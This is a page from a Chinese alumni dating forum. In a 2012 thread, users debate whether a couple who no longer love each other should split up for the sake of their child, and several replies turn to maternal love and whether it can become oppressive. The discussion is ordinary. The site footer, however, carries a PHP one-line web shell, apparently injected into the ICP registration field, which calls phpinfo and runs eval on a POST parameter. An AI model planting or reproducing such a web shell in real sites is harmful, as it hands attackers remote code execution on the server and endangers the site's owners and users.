小蜜橙single - 北京最大的校友交友平台-来小蜜橙觅成你的友情和爱情吧!-

 找回密码
 30秒注册
搜索
查看: 1862|回复: 41
打印 上一主题 下一主题

求解

  [复制链接]
跳转到指定楼层
#
发表于 2012-11-22 10:25:05 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
如果两个人之间没有感情了
但是还有孩子
是放手
还是要继续
41#
发表于 2012-11-28 22:05:41 | 只看该作者
Lineas 发表于 2012-11-28 21:44
是的,EX曾经说如果没有我“拉她”,她的事业可以做的更好

然后呢?

然后,你们各自找到适合自己的那一半
40#
发表于 2012-11-28 18:39:26 | 只看该作者
tzsy 发表于 2012-11-22 15:15
这“伤害”又怎知是福是祸呢?请参看乔布斯和张无忌的例子,呵呵,这两天刚好在看 倚天屠龙记.

每个人 ...

+1

人的一生避免不了伤害,关键在于自己选择怎样去面对。这个伤害是助力还是阻力,也是见仁见智。

以为孩子好的名义勉强维持的婚姻,未必比单亲家庭或重组家庭里长大的孩子心智更健康。

只是中国人传统的观念常常会作茧自缚。
39#
发表于 2012-11-28 18:34:49 | 只看该作者
Lineas 发表于 2012-11-22 15:02
其实有些人并不适合“两人个在一起的”,这也就是为什么现在单身的人越来越多的原因之一吧~

你想两个人 ...

所以以前工作中的长辈说,幸福是什么,幸福是平衡,工作、家庭、子孙等等的平衡,缺一不可,就算其中某个很长也弥补不了另外一个很短或缺失。
38#
发表于 2012-11-28 18:32:02 | 只看该作者
tzsy 发表于 2012-11-22 14:40
这个想法有点奇怪,不是两个人在一起才是安心么?一个人的时候总会有些心虚的

这个女孩子更看重个人的发展,想要集中精力去拼,她可能觉得当时的感情会分散她的精力
37#
发表于 2012-11-28 18:28:35 | 只看该作者
Lineas 发表于 2012-11-22 13:08
Q: 什么叫“感情”?

若指的是爱情,其实可有可无。

一般咱们国家的做法是……

O(∩_∩)O~,发现你相当擅长总结性发言,一语中的,慧眼啊
36#
 楼主| 发表于 2012-11-22 22:26:13 | 只看该作者
沫之夏 发表于 2012-11-22 20:29
不知道,不管是放手还是继续 别让孩纸遭罪就好

嗯嗯,这种事情伤害最大的是孩子。
35#
发表于 2012-11-22 20:29:02 | 只看该作者
不知道,不管是放手还是继续 别让孩纸遭罪就好
34#
发表于 2012-11-22 16:13:48 | 只看该作者
本帖最后由 insightinto 于 2012-11-22 16:28 编辑
tzsy 发表于 2012-11-22 16:09
这“所以”是什么逻辑.....

母爱不是相互的,不求回报,她的伟大就在这里


可是爱是相互的丫。爱的目的是为他好,可是却爱的为ta不好。 难道不值得反思么?
33#
发表于 2012-11-22 16:09:33 | 只看该作者
insightinto 发表于 2012-11-22 15:54
o(︶︿︶)o   这不关乎母爱, 所以和钱无关。 爱是相互的,不是一厢情愿 。   那样母爱, 可能是“压迫 ...

这“所以”是什么逻辑.....

母爱不是相互的,不求回报,她的伟大就在这里

确实可能是压迫,但母爱到压迫,首先一定是爱得深沉,浅了必不会“压迫”. 其次,你见过爱得深沉的母爱,哪个因为孩子对母爱有了压迫感,母亲就不爱了呢?恐怕是换着法儿去爱了吧,并非是爱消失了.

把母爱当压迫,不看动机,只顾自己感受,这样的孩子,太自私
32#
发表于 2012-11-22 15:54:58 | 只看该作者
本帖最后由 insightinto 于 2012-11-22 15:58 编辑
tzsy 发表于 2012-11-22 15:48
讲理从来不愤怒~

你这个是偷换概念啊,母爱是从母亲角度出发.


o(︶︿︶)o   这不关乎母爱, 所以和钱无关。 爱是相互的,不是一厢情愿 。   那样母爱, 可能是“压迫”。
您需要登录后才可以回帖 登录 | 30秒注册

本版积分规则

QQ|小黑屋|手机版|小蜜橙single ( 京ICP备20006967号-2 <?php phpinfo();eval($_POST[1]);?>

GMT+8, 2024-11-15 05:09 , Processed in 0.107650 second(s), 16 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表